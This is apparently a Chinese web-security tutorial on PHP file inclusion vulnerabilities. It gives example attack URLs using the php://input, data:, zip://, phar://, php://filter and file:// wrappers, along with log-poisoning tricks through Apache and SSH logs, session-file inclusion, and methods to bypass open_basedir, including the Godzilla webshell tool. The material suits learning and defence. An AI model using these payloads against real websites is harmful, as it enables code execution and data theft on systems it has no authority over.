标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2025-3129] 作者: 羽毛 发表于: [2022-06-24]
本文共 [280] 位读者顶过
文件包含开发者为了节约开发时间,可以将重复利用的代码使用文件包含的函数,如include,reuqire等进行文件包含,节约开发的时间和成本。为了灵活性,有些开发者会使用变量作为文件包含的参数.而文件包含漏洞就是利用include,require可以包含并执行php代码的特性,在开发者过滤不完全的情况下包含了攻击者上传的恶意文件从而被执行. [出自:jiwo.org] 由于php底层的机制,在include,require时,任何类型的文件都会被当做php文件解析.攻击者常常上传合法的txt或jpg文件配合文件包含使用从而执行恶意文件. include和requireinclude:有就包含,没有就跳过,之前包含过了也包含 require:有就包含,没有就报错,之前包含过了也包含 include_once:有就包含,没有就跳过,之前包含过了就不包含 require_once:有就包含,没有就报错,之前包含过了就不包含 本地文件包含代码:include "$_GET['filename']"; URL地址栏:http://www.xx.com/include.php?filename=trojan.jpg 此时trojan.jpg就会被当做php代码执行. 远程文件包含前提:php.ini中 allow_url_fopen,allow_url_include 这两个设置必须开启. 特殊字符截断?和#在url地址栏有特殊用处,因此?和#后的内容会不被当做文件名解析. 有些代码会使用类似include $_GET[$filename].'.html',后缀固定为html,此时可用特殊字符截断. 用法:include.php?filename=http://xxx/a.txt%23 此时include "http://xx/a.txt#.html"会被解析为a.txt,再以php文件执行. php伪协议php伪协议配合文件包含漏洞可以发挥重大作用.如读源码,命令执行等. php://inputphp://input:可以获取POST请求包中请求体的内容. include 'php://input' 相当于将POST请求体中的内容直接放置在代码中. 用法:include.php?filename=php://input 抓包修改请求为POST,在请求体中写入php代码即可执行. data:text/plain,用法:include.php?filename=data:text/plain,<?php php代码?> 注意:直接插入php代码的话,有些特殊符号容易出问题,所以要将plain,后的内容用URL编码. data:text/plain;base64,用法同上:include.php?filename=data:text/plain;base64, base64编码后的php代码 zip://zip://:用于读取压缩文件,可以访问压缩文件中的子文件.且zip后缀也可以改为jpg,可以绕过白名单. 用法:include.php?filename=zip://xx.zip%23xx.txt include.php?filename=zip://xx.jpg%23xx.php 均可. 注意php5.3后必须用zip压缩,不能用rar. phar://phar://:类似于zip,也是读取压缩文件的协议.同样可以将zip后缀改为jpg绕过白名单. 主要区别就是zip协议用%23,而phar协议用/分割压缩包和子文件. 用法:include.php?filename=phar://xx.zip/xx.txt include.php?filename=phar://xx.jpg/xx.png 均可. php://filterphp://filter:读取文件的原始数据流,不被当做php代码执行. 用法:include.php?filename=php://filter/read=convert.base64-encode/resource=a.txt 页面返回base64编码后的文件内容. file://file协议可以访问本地的文件系统,读取到文件的内容. 用法:include.php?filename=file://文件完整路径 apache日志文件包含原理:apache服务器会在日志文件中记录每次的操作,攻击者想办法使php代码被记录在日志文件中,然后对日志进行文件包含,以此来执行php代码. 注意:直接在URL地址栏中写代码的话,日志记录的是URL编码后的内容,用文件包含是无法执行的.因此要抓包写php代码,这样日志中记录的就是php代码,可以用文件包含执行. 缺点就是必须要知道绝对路径和日志名,可以通过phpinfo来查看. SSH日志包含SSH:Secure Shell 为远程登录会话提供安全性的协议.通常用windows远程连接linux虚拟机执行命令. 需要注意默认不支持连接root用户,但是可以su root切换到root用户. ssh连接格式:ssh 用户名@ip地址 ssh在连接时会有ssh日志记录ssh连接的记录,ssh日志保存在/var/log/auth.log文件中.因此可以在ssh连接时写入php代码,使代码被记录在日志中,然后包含ssh日志来执行. 用法:ssh "<?php phpinfo();?>"@linux的ip地址 此时这串连接命令就被记录在ssh日志中,可以用文件包含执行代码. 注意windows中连接的话一定要用双引号. session包含前提:代码中有类似$_SESSION['name']的语句.能向session中写入恶意代码. 利用phpinfo可以看到session的存储路径,sessionid可以抓包获取,session文件名为sess+sessionid. 抓包向session中写入恶意代码,包含路径+文件名即可执行代码. open_basediropen_basedir是php.ini中的一个配置项,默认为空. 设置open_basedir=目录,使服务器只能访问指定目录及其子目录.如果文件包含一个open_basedir之外的文件就会报错,通常用来防御非法目录或文件操作. 绕过open_basedirgodzilla工具godzilla:哥斯拉,基于java的一款webshell管理工具,可以绕过open_basedir. 命令执行绕过php中系统命令不受open_basedir的限制,在有命令执行漏洞的情况下可以绕过open_basedir操作文件. ini.set()配合chdir()ini.set()函数作用是临时修改php.ini文件,chdir()作用是切换文件指针所指向的目录. 这种方法的底层原理较为复杂,但poc是固定的,可以直接用. glob协议glob协议用来查找相匹配的文件,不受open_basedir的限制,可以用来遍历目录. |